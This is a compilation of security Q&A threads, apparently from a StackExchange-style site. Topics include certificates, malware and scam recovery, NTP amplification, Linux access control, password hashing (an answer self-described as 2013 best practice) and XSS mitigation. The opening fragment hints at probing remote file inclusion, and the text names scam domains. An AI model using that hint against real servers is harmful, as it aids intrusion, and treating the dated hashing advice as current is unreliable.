If you are sure, that your PHP-version is correct, please try to inject some remote resource without NULL-byte character in path, to check, if allow_url_* are set correct in php.ini.


Reverse Engineering - Countermeasures I'm new to information security but I'm learning about reverse engineering.

I read here about countermeasures to make reverse engineering hard.
Does code signing protect the code from reverse engineering?

EDIT: about obfuscation I think fellow have responded. Thanks!

You are confusing many terms here. Perhaps I can help.

Code signing is the process of cryptographically signing a file so that a user of the file can tell who signed the file and whether it has been modified since signing. It generally doesn't make the file unreadable, though, depending on how the signature is attached to the file, you may need a special tool to examine it. It has no effect on the source code or reverse engineering. Windows has a code signing process called Authenticode that is well documented. You may wish to read about it for general background information.
Obfuscatation attempts to make the executable code more difficult to read. This is generally reserved for translated languages like JavaScript and byte-code compiled languages like Java and C#/.NET because it is much easier to view the source of these programs. Obfuscation is unrelated to code signing. You need to search for obfuscation systems for your specific platform (eg: .NET).
Nothing will make your assembly code unreadable. After all, the CPU needs to read it to execute your program so it must be readable. That said, obfuscation techniques can make it more difficult to read, though optimized assembler code is already pretty difficult to reverse engineer.

I think that you need to do some more research at this point and come back when you have a better understanding of the basics.


ADFS Self-signed Certificate I can't find an answer to this, so I'm hoping you good people will know. I'm about to install ADFS into Production including a Web Application Proxy in the DMZ. When WAP is joined to a farm or a single ADFS server, it generates a self-signed certificate and this is copied into the AdfsTrustedDevices certificate store on the ADFS server. In the text environment, I've noticed that the certificate only has a life span of 5 days, so I'm assuming that the WAP server will generate a new certificate when the old one expires and send it to the ADFS server.

Does anyone know if this is correct?

Initial certs used during role configuration have a short lifetime. But regular certs generated by each WAP henceforth will last 20 days by default. They are renewed automatically.

If the trust between the WAP and the AD FS breaks after a long duration of been offline (and thus cert expiring), simply re-run the WAP configuration via PowerShell or re-enable the GUI and launch the wizard by toggling the registry value as shown in https://blogs.technet.microsoft.com/rmilne/2015/04/20/adfs-2012-r2-web-application-proxy-re-establish-proxy-trust/


Is having a hidden directory under /etc safe? On Debian 9, installing default-jre creates a hidden directory /etc/.java. This is flagged as a warning while I run rkhunter. Looking up online, I found an old bug report against Debian. The bug was closed stating the sysadmin could configure rkhunter to ignore the directory.

Speaking simplistically from the point of view of operating system security, is it a good idea to have a hidden directory under /etc? Does it make security sense for rkhunter to look for and flag hidden files and directories under /etc? What's the recommended best practice here?

Edit 2019-05-29T02:42+00:00: What I mean to ask in the last question is if a hidden directory under /etc is a good idea from the point of view of "security usability". As in, it might be disconcerting for a sysadmin to find a hidden file under /etc and therefore could be bad security practice, especially from the point of view of a package maintainer.

Yes, that's safe. There's nothing inherently insecure about having a hidden directory under /etc. The only reason rkhunter flags it is that it's uncommon for legitimate programs to do it, and when malware does it, it makes it less likely that you'd otherwise notice it.


who should create a CSR, the developer or system management? I am developing an internal web application. I think it would be a good idea to secure the local web server with an https certificate. I read several postings recommending certificates on local servers. This is a large company with its own Certificate Authority, i.e., the Networking group creates the certificates. This group told me to create the CSR so that they can create the certificate.
Now I found numerous tutorials for creating a CSR. The IIS web server has a CSR/Cert tool, and there is also a tool in the Windows MMC. The open source tool OpenSSL seems also useful.
My question now is if it is correct to let a software developer create the CSR in the first place. Of course I will be able to figure out how to create a CSR, but is this the best way to keep the network secure? Should, in a large company environment with numerous servers and developers, security not be handled centrally by the networking group or by the system manager(s)?
This is a company environment where I, as a developer, am not trusted to be admin for my own development pc. But the system manager lets me decide to operate a server with http or https, lets me create and manage private key, and signs my CSR to create a certificate.
How can I be trusted, as a humble developer, to keep the primary key secret, to fill the CSR with true information, to install the certificate where it should be, and to renew the certificate in time?
Is this really secure, and how the CSR is meant to be handled?
Or should system mgmt enforce the use of https, and create the CSR itself, take care of the primary key, install the certificate, and take care of renewal?
I believe this is a general question, as many tutorials exist on how to create the CSR, but without discussing WHO should create the CSR and the implications on the overall security of the company network.

This depends on who is responsible to keep the application running. If the developer itself is fully responsible to install the application on the server, monitor its health etc then it can make sense that the developer has also control over the certificate and its private key, since this is needed to keep the application running. The network group might only provide resources like the hardware or VM and setup DNS once in this case.
If instead the network group is responsible to keep everything running then certificate management including the creation of the CSR is likely their duty too. There can also be a mix of responsibilities, for example if the network group just sets up a reverse proxy which translates HTTPS to HTTP and the developer keeps the HTTP-only application behind the reverse proxy running. In this case certificate management is still at the network group.
What is the right way to do depends a lot on the established internal processes and available resources. It might also vary for different internal apps, depending on how sensitive and critical they are and who is the user of the apps. For example company-wide apps might be managed by the network group while team-specific apps might be managed by the relevant team. Or it might be that initially less critical apps get more critical with the time in which case the responsibility for the app might be moved from the developer to the network group.


what is the usage of extendedkeyusage in a CA certificate? we have a CA certificate template to verify, which contains an extendedkeyusage extension with the following values

"clientAuthentication"
"emailProtection" and
"id-kp-OCSPSigning"

Is this a mistake or is there really a usecase for extendedkeyusage in a CA certificate?

CA certificate itself is never used during authentication, instead it is used for chain validation (I'm not talking about signing). In most cases, applications check particular EKU presence in end-entity certificate only. Thus, EKU presence in CA certificate has no effect.

There are known vendor-specific implementations when EKU in CA certificate has effect. This is called "constrained EKU", when application verifies whether particular EKU is valid for entire certificate chain and reject the certificate if particular EKU is presented in end entity certificate, but not specified on CA level in non-empty EKU extension.

For more details, please read my blog post about constrained EKU implementation in Microsoft certificate chaining engine: https://www.sysadmins.lv/blog-en/constraining-extended-key-usages-in-microsoft-windows.aspx

very brief explanation, in this thread: Root CA with Extended Key Usage fields


My home PC was hacked and accessed my bank! Advice on next steps? I recently setup a new Win8.1 PC while still working on my main development PC so it did not have all of the security tools that I usually install, e.g. malwarebytes, adaware, etc. Since it takes me a few days to fully setup my machines with coding tools and a myriad of other tools, I made the MISTAKE of accessing my bank account information to check on something that came through my mobile.  I admit, it totally slipped my mind and wasn't thinking at the moment, mea culpa.

Well, at 7 AM today, my bank has confirmed that my new PC tried 3 unsuccessful attempts at accessing my bank account.  Luckily, this bank has a couple of layers of security and they weren't able to bypass the security questions section.

Now, I am seeking some advice on what steps I should proceed with.

Just as an FYI, I would like to find out the following:

The IP address of the offending #*##)
The program that came w/ the infection
Any software that I can use to see what programs run/start when my PC is idle (since at 7 AM, I was not near this PC)
Any software I can use to see when any program accesses a remote address (I used to use one that listed the program running and attempting to access http, etc., but can't recall it at the moment.)

I am aware there could be a bunch of scenarios that are possible, so can you please supply me with, what are some of the common practices so I can read up on them?  Rootkit? Keylogger?

FYI, I also ran some virus/malware/trojan/rootkit locators programs and NOTHING has been found?  Is this common?

Also, I should note that I left this laptop in "Sleep" mode the night before with the Google Chrome browser open with many tabs open.

Reinstall the whole machine from the OS up. It is common to be infected with something and not have antivirus scanners not find it. Reinstalling is the only way to have any confidence in the machine again.


Wife was conned into allowing her computer to be hacked, what do I do? My wife had a popup on her old Windows Vista laptop (which I've been threatening to switch to Ubuntu Linux). It appeared to come from our ISP, and informed her that she was hacked, and to call a number. An Indian guy answered, told her to go to a site (lmi1.com), gave her a code, and told her to input it to download a program and run it, which she did. He told her she was hacked and it would cost lots of money to fix.

That was when she finally decided to call me at work, and after she finally told me about downloading the program, I immediately told her to disconnect it from the internet and turn it off. I told her to call our ISP to confirm that it was a scam/hack. They confirmed that it was not associated with them. We have an always on connection, which might explain why they targeted us.

She told me she was already logged in to her gmail account, but didn't log into any accounts after her interaction with this hacker.

I've been to the bank to shut down internet access for our bank accounts until we can deal with this further, and confirmed that the accounts were not accessed online since well before the attack.

We're going to back up her files (via a Linux live-desktop), and she's getting a bright shiny new operating system by the end of the weekend, and she won't be using the laptop until then.

My question is: What should we do now?

We don't need new bank account numbers, I think that would be an impotent action regardless, right?

It's conceivable they accessed her email from her computer (since she was logged in).

It's possible they downloaded files.  I don't know if she had anything with social security numbers on it, but she might.

It's possible they began encrypting her files for the purpose of blackmailing her with their possible destruction, and she may have lost some of them.

I've told her to change her passwords on her email accounts. She mostly uses Google Chrome, not sure if that makes a difference.

Ancillary question: why doesn't the FBI shut down sites like lmi1.com?

Update: they called her back, and hung up after being challenged to give their address. I'm not sure what their angle is. If it's just an outright scam, that's it, no harm done. But they could try to mess with us. I don't think anyone would go to this much trouble to set up a zombie for a bot-net, would they? I wish I knew.

Update I understand lmi1.com is a legit website, but wouldn't they still have the opportunity to use the connection to surreptitiously install malware?

2nd Update My wife informed me she watched him download and install a file she called "system configuration" so they installed something. Don't know what.

See the FTC page on Tech Support Scams:

In a recent twist, scam artists are using the phone to try to break into your computer. They call, claiming to be computer techs associated with well-known companies like Microsoft. They say that they’ve detected viruses or other malware on your computer to trick you into giving them remote access or paying for software you don’t need.
These scammers take advantage of your reasonable concerns about viruses and other threats. They know that computer users have heard time and again that it’s important to install security software. But the purpose behind their elaborate scheme isn’t to protect your computer; it’s to make money.

They document this class of scam thoroughly, and the page includes good information on how to act effectively in the event that you have already fallen victim. I have mirrored the content of that section below, but show your wife that page so she doesn't feel stupid.

If You’ve Responded to a Scam
If you think you might have downloaded malware from a scam site or allowed a cybercriminal to access your computer, don’t panic. Instead:

Get rid of malware. Update or download legitimate security software
and scan your computer. Delete anything it identifies as a problem.
Change any passwords that you gave out. If you use these passwords for other accounts, change those accounts, too.
If you paid for bogus services with a credit card, call your credit card provider and ask to reverse the charges. Check your statements for any other charges you didn’t make, and ask to reverse those, too.
If you believe that someone may have accessed your personal or financial information, visit the FTC’s identity theft website. You can minimize your risk of further damage and repair any problems already in place.
File a complaint with the FTC at ftc.gov/complaint.

I can't speak to the efficacy of this, but I do recommend pursuing that last bullet: file a complaint.
Filing a complaint enables them to provide all interested and capable bureaus with critical information needed to at least defer future scams by the same attacker, e.g. if a U.S. phone number was provided then the FTC (or more likely some other bureau) will probably be able to seize the number and ensure that it cannot be used again for this purpose. I doubt the attacker is based in the States, but if they are then further justice might even occur; if not, that would probably be the extent of justice served on this.
All of that said, the FTC is a good agency; they do what they can. Hit them up for sure.


Does GRE Tunneling support the Websocket Protocol? Just curious because I am going to use a GRE Tunnel that has a ddos filtered ip, then tunnel it to my main gameserver. My gameserver uses HTML 5 Websockets and port 9300.

GRE is a tunneling protocol at the network layer (OSI layer 3) and thus will transport everything above it, which includes TCP (layer 4) and HTTP (layer 7). And since WebSockets are just some kind of tunnel inside HTTP it will transport them too.


Is my Windows 10 infected with malware? When i use google chrome occasionally appears about 5 different McAfee's notification (I don't have McAfee installed), one of those:

ATTENTION! Your computer is in danger. We detected a virus on your computer. You need to remove viruses from your computer. The system is infected. Click here to clean 22.39 uelihaldiscret.online. Open. X Remove propagant.

"Application Erro. The instruction in 0x00007FFC3C0241C1 retained the memory in 0x0000000000000000, The memory cannot be read.  Click 'OK' to end the program. OK."
What i supposed to do? When I click to close, opens two sites: http://lp3.clean-pc-now.club/ and antivirushub.co but my avast add-ons blocks these sites.

Don't install anything. Windows 10 uses Defender antivirus, if you have not deactivated it. This message comes very probably from some bloatware that you have installed with some other software. If you follow recommendation in the message, you will very probably install virus.
What should you do?
Check what software you have recently installed and remove everything that you don't remember you have installed.
Find a CD or DVD or a (read only) USB stick with antivirus, reboot computer and start this disk with antivirus, launch antivirus and check your computer.


Can a large corporation make a believable promise Say there is a secret encryption key that a third party has to handle. The third party is supposed to destroy the secret key when they are done, and tell everyone else it was destroyed and therefore safe to use. However, if the third party makes a secret copy, then they can covertly sell it for large amounts of money.

Let's say I want to get a large corporation to be that third party. It is possible for the corporation to make sure no employee can steal the key for themselves without conspiring with many other employees. How could the company show that it instructed the employees to destroy the key? I understand that no legal mechanism can totally prove that no one is lying, but I want to be close.

Example: Say a company has a board of directors, collectively known as Alice, and a CEO known as Bob. Alice votes on an official policy that the company may not lie to the public by saying that they have destroyed private key when they did not. Alice publishes this policy to the shareholders making it publicly known. After that, Alice makes a new policy that the company may lie about the destroying a key at Bob's discretion. This new policy is NOT published.

Bob is known to reliably obey Alices orders. The public knows that Bob has been ordered not to lie, but they do not know that the order is outdated. I want to know if Alice can make a publicly known policy that she may not secretly revoke.

However, if the third party makes a secret copy, then they can covertly sell it for large amounts of money.

The thing about this is when it comes to a pivotal and highly-valued asset such as said key, it should never be,

created
transmitted
kept
deleted

by a third-party vendor. These processes if possible should be done internally.

Let's say if you would want to task a third-party vendor to delete said assets, it should be done with automation and limit that human/employee interaction, or keep it to the bare minimum.

Another solution would be, another layer of encryption on this already encrypted key. So that even if the vendor would to lay their eyes on this key, it wouldn't mean much to them, only your organization can see it, but this kinda deems the purpose of the third-party vendor a tad bit redundant.


How it is dangerous that the ntp service listen to all IPs on Linux? When I run the following command I get that the following output:

netstat -atpun | grep ntp

udp        0      0 172.16.0.1:123              0.0.0.0:*                               7734/ntpd
udp        0      0 127.0.0.1:123               0.0.0.0:*                               7734/ntpd
udp        0      0 0.0.0.0:123                 0.0.0.0:*                               7734/ntpd
udp        0      0 fe80::250:56ff:fe01:e30:123 :::*                                    7734/ntpd
udp        0      0 ::1:123                     :::*                                    7734/ntpd
udp        0      0 :::123                      :::*                                    7734/ntpd

How it is dangerous that the ntp service listen to all IPs on Linux?
Can a potential attacker do any damage for my Linux server?

It's not dangerous per se, it's just usually a bad idea.

From a cloudflare article:

  NTP is a simple UDP-based protocol that can be persuaded to return a
  large reply to a small request.

A misconfigured ntp server listening on the internet can (and will) be used to perform amplification and reflection attacks.

The main victim of such an attack wouldn't be you. The attacker would simply be using your system to perform a DoS attack on a third party. From the victim's point of view you would be the one performing the attack.

Depending on your infrastructre and the method chosen by the attacker, your system and/or your link to the internet might get DoSed as well.

A well secured and patched NTP server with the correct setup can be used to provide time to the open internet. For the general use case of setting the time on your servers or accross your network, it's a good idea to lock it down to trusted networks only and rate-limit access.

As for your actual question (ntp is listening on the "any" address), the netstat output alone doesn't provide enough information to assess whether you have a security problem or not. It just says that NTP is listening on port 123 on every interface. Those interfaces might not be connected to other hosts, they might be connected to trusted hosts only, they might have iptables rules blocking traffic on port UDP/123, etc.


Are Linux System Capabilities Considered Mandatory Access Controls? DAC is not mandatory because access permissions are left up to the resource owner's discretion.

Mandatory Access Control (Smack, SELinux, etc) administration can only be accomplished by a process/user with CAP_MAC_ADMIN (or root).

Since MAC wouldn't hinge on any discretionary controls to enforce mandatory controls, are Linux System Capabilities considered Mandatory?

Generally capabilities are a good way of implementing a Mandatory Access Control system (see Eros OS, for example).

The Linux system capabilities affect objects which can be under both DAC and MAC.  They also don't seem to break the possibility to do MAC since you can limit altering capabilities using the bounding set.  Once you remove the ability to alter MAC settings from the bounding set on all processes, then you have full MAC on the system.  Of course implementation bugs may make this wrong.  If you don't remove the alter MAC capabilities then processes that have them are able to treat mandatory access controls as discretionary.  If any of those processes (or files they start from) are not part of the "trusted computing base" for your system then what you have is a system configured with discretionary access control.

I think the best answer to your question is:
system capabilities are designed to support and could be part of a mandatory access control implementation, incorrectly configured they could also break mandatory access control.


How to securely hash passwords? If I hash passwords before storing them in my database, is that sufficient to prevent them being recovered by anyone?

I should point out that this relates only to retrieval directly from the database, and not any other type of attack, such as bruteforcing the login page of the application, keylogger on the client, and of course rubberhose cryptanalysis (or nowadays we should call it "Chocolate Cryptanalysis").

Of course any form of hash will not prevent those attacks.

Note: This answer was written in 2013. Many things have changed in the following years, which means that this answer should primarily seen as how best practice used to be in 2013.

The Theory

We need to hash passwords as a second line of defence. A server which can authenticate users necessarily contains, somewhere in its entrails, some data which can be used to validate a password. A very simple system would just store the passwords themselves, and validation would be a simple comparison. But if a hostile outsider were to gain a simple glimpse at the contents of the file or database table which contains the passwords, then that attacker would learn a lot. Unfortunately, such partial, read-only breaches do occur in practice (a mislaid backup tape, a decommissioned but not wiped-out hard disk, an aftermath of a SQL injection attack -- the possibilities are numerous). See this blog post for a detailed discussion.

Since the overall contents of a server that can validate passwords are necessarily sufficient to indeed validate passwords, an attacker who obtained a read-only snapshot of the server is in position to make an offline dictionary attack: he tries potential passwords until a match is found. This is unavoidable. So we want to make that kind of attack as hard as possible. Our tools are the following:

Cryptographic hash functions: these are fascinating mathematical objects which everybody can compute efficiently, and yet nobody knows how to invert them. This looks good for our problem - the server could store a hash of a password; when presented with a putative password, the server just has to hash it to see if it gets the same value; and yet, knowing the hash does not reveal the password itself.
Salts: among the advantages of the attacker over the defender is parallelism. The attacker usually grabs a whole list of hashed passwords, and is interested in breaking as many of them as possible. He may try to attack several in parallels. For instance, the attacker may consider one potential password, hash it, and then compare the value with 100 hashed passwords; this means that the attacker shares the cost of hashing over several attacked passwords. A similar optimisation is precomputed tables, including rainbow tables; this is still parallelism, with a space-time change of coordinates.

The common characteristic of all attacks which use parallelism is that they work over several passwords which were processed with the exact same hash function. Salting is about using not one hash function, but a lot of distinct hash functions; ideally, each instance of password hashing should use its own hash function. A salt is a way to select a specific hash function among a big family of hash functions. Properly applied salts will completely thwart parallel attacks (including rainbow tables).
Slowness: computers become faster over time (Gordon Moore, co-founder of Intel, theorized it in his famous law). Human brains do not. This means that attackers can "try" more and more potential passwords as years pass, while users cannot remember more and more complex passwords (or flatly refuse to). To counter that trend, we can make hashing inherently slow by defining the hash function to use a lot of internal iterations (thousands, possibly millions).

We have a few standard cryptographic hash functions; the most famous are MD5 and the SHA family. Building a secure hash function out of elementary operations is far from easy. When cryptographers want to do that, they think hard, then harder, and organize a tournament where the functions fight each other fiercely. When hundreds of cryptographers gnawed and scraped and punched at a function for several years and found nothing bad to say about it, then they begin to admit that maybe that specific function could be considered as more or less secure. This is just what happened in the SHA-3 competition. We have to use this way of designing hash function because we know no better way. Mathematically, we do not know if secure hash functions actually exist; we just have "candidates" (that's the difference between "it cannot be broken" and "nobody in the world knows how to break it").

A basic hash function, even if secure as a hash function, is not appropriate for password hashing, because:

it is unsalted, allowing for parallel attacks (rainbow tables for MD5 or SHA-1 can be obtained for free, you do not even need to recompute them yourself);
it is way too fast, and gets faster with technological advances. With a recent GPU (i.e. off-the-shelf consumer product which everybody can buy), hashing rate is counted in billions of passwords per second.

So we need something better. It so happens that slapping together a hash function and a salt, and iterating it, is not easier to do than designing a hash function -- at least, if you want the result to be secure. There again, you have to rely on standard constructions which have survived the continuous onslaught of vindicative cryptographers.

Good Password Hashing Functions

PBKDF2

PBKDF2 comes from PKCS#5. It is parameterized with an iteration count (an integer, at least 1, no upper limit), a salt (an arbitrary sequence of bytes, no constraint on length), a required output length (PBKDF2 can generate an output of configurable length), and an "underlying PRF". In practice, PBKDF2 is always used with HMAC, which is itself a construction built over an underlying hash function. So when we say "PBKDF2 with SHA-1", we actually mean "PBKDF2 with HMAC with SHA-1".

Advantages of PBKDF2:

Has been specified for a long time, seems unscathed for now.
Is already implemented in various framework (e.g. it is provided with .NET).
Highly configurable (although some implementations do not let you choose the hash function, e.g. the one in .NET is for SHA-1 only).
Received NIST blessings (modulo the difference between hashing and key derivation; see later on).
Configurable output length (again, see later on).

Drawbacks of PBKDF2:

CPU-intensive only, thus amenable to high optimization with GPU (the defender is a basic server which does generic things, i.e. a PC, but the attacker can spend his budget on more specialized hardware, which will give him an edge).
You still have to manage the parameters yourself (salt generation and storage, iteration count encoding...). There is a standard encoding for PBKDF2 parameters but it uses ASN.1 so most people will avoid it if they can (ASN.1 can be tricky to handle for the non-expert).

bcrypt

bcrypt was designed by reusing and expanding elements of a block cipher called Blowfish. The iteration count is a power of two, which is a tad less configurable than PBKDF2, but sufficiently so nevertheless. This is the core password hashing mechanism in the OpenBSD operating system.

Advantages of bcrypt:

Many available implementations in various languages (see the links at the end of the Wikipedia page).
More resilient to GPU; this is due to details of its internal design. The bcrypt authors made it so voluntarily: they reused Blowfish because Blowfish was based on an internal RAM table which is constantly accessed and modified throughout the processing. This makes life much harder for whoever wants to speed up bcrypt with a GPU (GPU are not good at making a lot of memory accesses in parallel). See here for some discussion.
Standard output encoding which includes the salt, the iteration count and the output as one simple to store character string of printable characters.

Drawbacks of bcrypt:

Output size is fixed: 192 bits.
While bcrypt is good at thwarting GPU, it can still be thoroughly optimized with FPGA: modern FPGA chips have a lot of small embedded RAM blocks which are very convenient for running many bcrypt implementations in parallel within one chip. It has been done.
Input password size is limited to 51 characters. In order to handle longer passwords, one has to combine bcrypt with a hash function (you hash the password and then use the hash value as the "password" for bcrypt). Combining cryptographic primitives is known to be dangerous (see above) so such games cannot be recommended on a general basis.

scrypt

scrypt is a much newer construction (designed in 2009) which builds over PBKDF2 and a stream cipher called Salsa20/8, but these are just tools around the core strength of scrypt, which is RAM. scrypt has been designed to inherently use a lot of RAM (it generates some pseudo-random bytes, then repeatedly read them in a pseudo-random sequence). "Lots of RAM" is something which is hard to make parallel. A basic PC is good at RAM access, and will not try to read dozens of unrelated RAM bytes simultaneously. An attacker with a GPU or a FPGA will want to do that, and will find it difficult.

Advantages of scrypt:

A PC, i.e. exactly what the defender will use when hashing passwords, is the most efficient platform (or close enough) for computing scrypt. The attacker no longer gets a boost by spending his dollars on GPU or FPGA.
One more way to tune the function: memory size.

Drawbacks of scrypt:

Still new (my own rule of thumb is to wait at least 5 years of general exposure, so no scrypt for production until 2014 - but, of course, it is best if other people try scrypt in production, because this gives extra exposure).
Not as many available, ready-to-use implementations for various languages.
Unclear whether the CPU / RAM mix is optimal. For each of the pseudo-random RAM accesses, scrypt still computes a hash function. A cache miss will be about 200 clock cycles, one SHA-256 invocation is close to 1000. There may be room for improvement here.
Yet another parameter to configure: memory size.

OpenPGP Iterated And Salted S2K

I cite this one because you will use it if you do password-based file encryption with GnuPG. That tool follows the OpenPGP format which defines its own password hashing functions, called "Simple S2K", "Salted S2K" and "Iterated and Salted S2K". Only the third one can be deemed "good" in the context of this answer. It is defined as the hash of a very long string (configurable, up to about 65 megabytes) consisting of the repetition of an 8-byte salt and the password.

As far as these things go, OpenPGP's Iterated And Salted S2K is decent; it can be considered as similar to PBKDF2, with less configurability. You will very rarely encounter it outside of OpenPGP, as a stand-alone function.

Unix "crypt"

Recent Unix-like systems (e.g. Linux), for validating user passwords, use iterated and salted variants of the crypt() function based on good hash functions, with thousands of iterations. This is reasonably good. Some systems can also use bcrypt, which is better.

The old crypt() function, based on the DES block cipher, is not good enough:

It is slow in software but fast in hardware, and can be made fast in software too but only when computing several instances in parallel (technique known as SWAR or "bitslicing"). Thus, the attacker is at an advantage.
It is still quite fast, with only 25 iterations.
It has a 12-bit salt, which means that salt reuse will occur quite often.
It truncates passwords to 8 characters (characters beyond the eighth are ignored) and it also drops the upper bit of each character (so you are more or less stuck with ASCII).

But the more recent variants, which are active by default, will be fine.

Bad Password Hashing Functions

About everything else, in particular virtually every homemade method that people relentlessly invent.

For some reason, many developers insist on designing function themselves, and seem to assume that "secure cryptographic design" means "throw together every kind of cryptographic or non-cryptographic operation that can be thought of". See this question for an example. The underlying principle seems to be that the sheer complexity of the resulting utterly tangled mess of instruction will befuddle attackers. In practice, though, the developer himself will be more confused by his own creation than the attacker.

Complexity is bad. Homemade is bad. New is bad. If you remember that, you'll avoid 99% of problems related to password hashing, or cryptography, or even security in general.

Password hashing in Windows operating systems used to be mindbogglingly awful and now is just terrible (unsalted, non-iterated MD4).

Key Derivation

Up to now, we considered the question of hashing passwords. A close problem is about transforming a password into a symmetric key which can be used for encryption; this is called key derivation and is the first thing you do when you "encrypt a file with a password".

It is possible to make contrived examples of password hashing functions which are secure for the purpose of storing a password validation token, but terrible when it comes to generating symmetric keys; and the converse is equally possible. But these examples are very "artificial". For practical functions like the one described above:

The output of a password hashing function is acceptable as a symmetric key, after possible truncation to the required size.
A Key Derivation Function can serve as a password hashing function as long as the "derived key" is long enough to avoid "generic preimages" (the attacker is just lucky and finds a password which yields the same output). An output of more than 100 bits or so will be enough.

Indeed, PBKDF2 and scrypt are KDF, not password hashing function -- and NIST "approves" of PBKDF2 as a KDF, not explicitly as a password hasher (but it is possible, with only a very minute amount of hypocrisy, to read NIST's prose in such a way that it seems to say that PBKDF2 is good for hashing passwords).

Conversely, bcrypt is really a block cipher (the bulk of the password processing is the "key schedule") which is then used in CTR mode to produce three blocks (i.e. 192 bits) of pseudo-random output, making it a kind of hash function. bcrypt can be turned into a KDF with a little surgery, by using the block cipher in CTR mode for more blocks. But, as usual, we cannot recommend such homemade transforms. Fortunately, 192 bits are already more than enough for most purposes (e.g. symmetric encryption with GCM or EAX only needs a 128-bit key).

Miscellaneous Topics

How many iterations ?

As much as possible ! This salted-and-slow hashing is an arms race between the attacker and the defender. You use many iterations to make the hashing of a password harder for everybody. To improve security, you should set that number as high as you can tolerate on your server, given the tasks that your server must otherwise fulfill. Higher is better.

Collisions and MD5

MD5 is broken: it is computationally easy to find a lot of pairs of distinct inputs which hash to the same value. These are called collisions.

However, collisions are not an issue for password hashing. Password hashing requires the hash function to be resistant to preimages, not to collisions. Collisions are about finding pairs of messages which give the same output without restriction, whereas in password hashing the attacker must find a message which yields a given output that the attacker does not get to choose. This is quite different. As far as we known, MD5 is still (almost) as strong as it has ever been with regards to preimages (there is a theoretical attack which is still very far in the ludicrously impossible to run in practice).

The real problem with MD5 as it is commonly used in password hashing is that it is very fast, and unsalted. However, PBKDF2 used with MD5 would be robust. You should still use SHA-1 or SHA-256 with PBKDF2, but for Public Relations. People get nervous when they hear "MD5".

Salt Generation

The main and only point of the salt is to be as unique as possible. Whenever a salt value is reused anywhere, this has the potential to help the attacker.

For instance, if you use the user name as salt, then an attacker (or several colluding attackers) could find it worthwhile to build rainbow tables which attack the password hashing function when the salt is "admin" (or "root" or "joe") because there will be several, possibly many sites around the world which will have a user named "admin". Similarly, when a user changes his password, he usually keeps his name, leading to salt reuse. Old passwords are valuable targets, because users have the habit of reusing passwords in several places (that's known to be a bad idea, and advertised as such, but they will do it nonetheless because it makes their life easier), and also because people tend to generate their passwords "in sequence": if you learn that Bob's old password is "SuperSecretPassword37", then Bob's current password is probable "SuperSecretPassword38" or "SuperSecretPassword39".

The cheap way to obtain uniqueness is to use randomness. If you generate your salt as a sequence of random bytes from the cryptographically secure PRNG that your operating system offers (/dev/urandom, CryptGenRandom()...) then you will get salt values which will be "unique with a sufficiently high probability". 16 bytes are enough so that you will never see a salt collision in your life, which is overkill but simple enough.

UUID are a standard way of generating "unique" values. Note that "version 4" UUID just use randomness (122 random bits), like explained above. A lot of programming frameworks offer simple to use functions to generate UUID on demand, and they can be used as salts.

Salt Secrecy

Salts are not meant to be secret; otherwise we would call them keys. You do not need to make salts public, but if you have to make them public (e.g. to support client-side hashing), then don't worry too much about it. Salts are there for uniqueness. Strictly speaking, the salt is nothing more than the selection of a specific hash function within a big family of functions.

"Pepper"

Cryptographers can never let a metaphor alone; they must extend it with further analogies and bad puns. "Peppering" is about using a secret salt, i.e. a key. If you use a "pepper" in your password hashing function, then you are switching to a quite different kind of cryptographic algorithm; namely, you are computing a Message Authentication Code over the password. The MAC key is your "pepper".

Peppering makes sense if you can have a secret key which the attacker will not be able to read. Remember that we use password hashing because we consider that an attacker could grab a copy of the server database, or possible of the whole disk of the server. A typical scenario would be a server with two disks in RAID 1. One disk fails (electronic board fries - this happens a lot). The sysadmin replaces the disk, the mirror is rebuilt, no data is lost due to the magic of RAID 1. Since the old disk is dysfunctional, the sysadmin cannot easily wipe its contents. He just discards the disk. The attacker searches through the garbage bags, retrieves the disk, replaces the board, and lo! He has a complete image of the whole server system, including database, configuration files, binaries, operating system... the full monty, as the British say. For peppering to be really applicable, you need to be in a special setup where there is something more than a PC with disks; you need a HSM. HSM are very expensive, both in hardware and in operational procedure. But with a HSM, you can just use a secret "pepper" and process passwords with a simple HMAC (e.g. with SHA-1 or SHA-256). This will be vastly more efficient than bcrypt/PBKDF2/scrypt and their cumbersome iterations. Also, usage of a HSM will look extremely professional when doing a WebTrust audit.

Client-side hashing

Since hashing is (deliberately) expensive, it could make sense, in a client-server situation, to harness the CPU of the connecting clients. After all, when 100 clients connect to a single server, the clients collectively have a lot more muscle than the server.

To perform client-side hashing, the communication protocol must be enhanced to support sending the salt back to the client. This implies an extra round-trip, when compared to the simple client-sends-password-to-server protocol. This may or may not be easy to add to your specific case.

Client-side hashing is difficult in a Web context because the client uses Javascript, which is quite anemic for CPU-intensive tasks.

In the context of SRP, password hashing necessarily occurs on the client side.

Conclusion

Use bcrypt. PBKDF2 is not bad either. If you use scrypt you will be a "slightly early adopter" with the risks that are implied by this expression; but it would be a good move for scientific progress ("crash dummy" is a very honourable profession).


XSS prevention by securing cookies locally i was wondering if there was a way to prevent XSS by creating a safe layer within the storage of cookies in the browser locally? Or would there be any unique ways to protect against XSS. I know this has probably been done before but I am rather new at this so would appreciate any help. Thanks

You cannot prevent XSS by using cookies, but you can prevent successful XSS attacks from stealing your cookies by setting the HTTP-only flag. HTTP-only cookies are not visible in the context of the javascript engine. This is the only connection I can see between XSS and cookies.

What you should look into instead, is the CSP (Content Security Policy) HTTP-header. It instruct the browser where its allowed to load content and scripts from.

There are many questions and answers regarding CSP that can aid you here.
https://security.stackexchange.com/search?q=csp


Can someone get my home address if I click on a link to a IP logger? So I was going through my email and accidentally clicked on a suspicious link. It was a quickmessage.io link, which I had no clue what it was. When I clicked on it, my anti-virus came up and blocked it from accessing it, saying that the link may be harmful and may want to steal your info. I clicked off it and didn't go further than that.

I looked into it and apparently, it's an IP tracker website. Now I'm scared that whoever it was now has my IP address and maybe my home address. Is it possible to get one's home address through the IP address? Is it possible that they have it, even if I clicked off it with my anti-virus?

I went into shock mode and straight away downloaded a VPN. Am I safe?

First: almost every single site out there is an "IP logger". Every server logs at least this information:

IP address of the client
Browser type and version
Operating system
Which site they came from (the Referer)

So, not only does this site have your IP address, but each site you ever visited has your IP address in their own logs. A few, very few sites won't log any information, but they are a negligible minority.

But you don't need to be paranoid. The IP address alone is not enough to get your name, your home address and the kind of car you drive. It's possible to correlate information and get close to that, but it's not something you will have to be worried about, unless someone is being paid to track you specifically. It's expensive, takes a lot of work and time, and does not always work, so don't expect a full tracking mode to be started just for you because you clicked a link.

Concerning GDPR:

  6.1 Processing shall be lawful only if and to the extent that at least one of the following applies:
  f) processing is necessary for the purposes of the legitimate interests pursued by the controller or by a third party

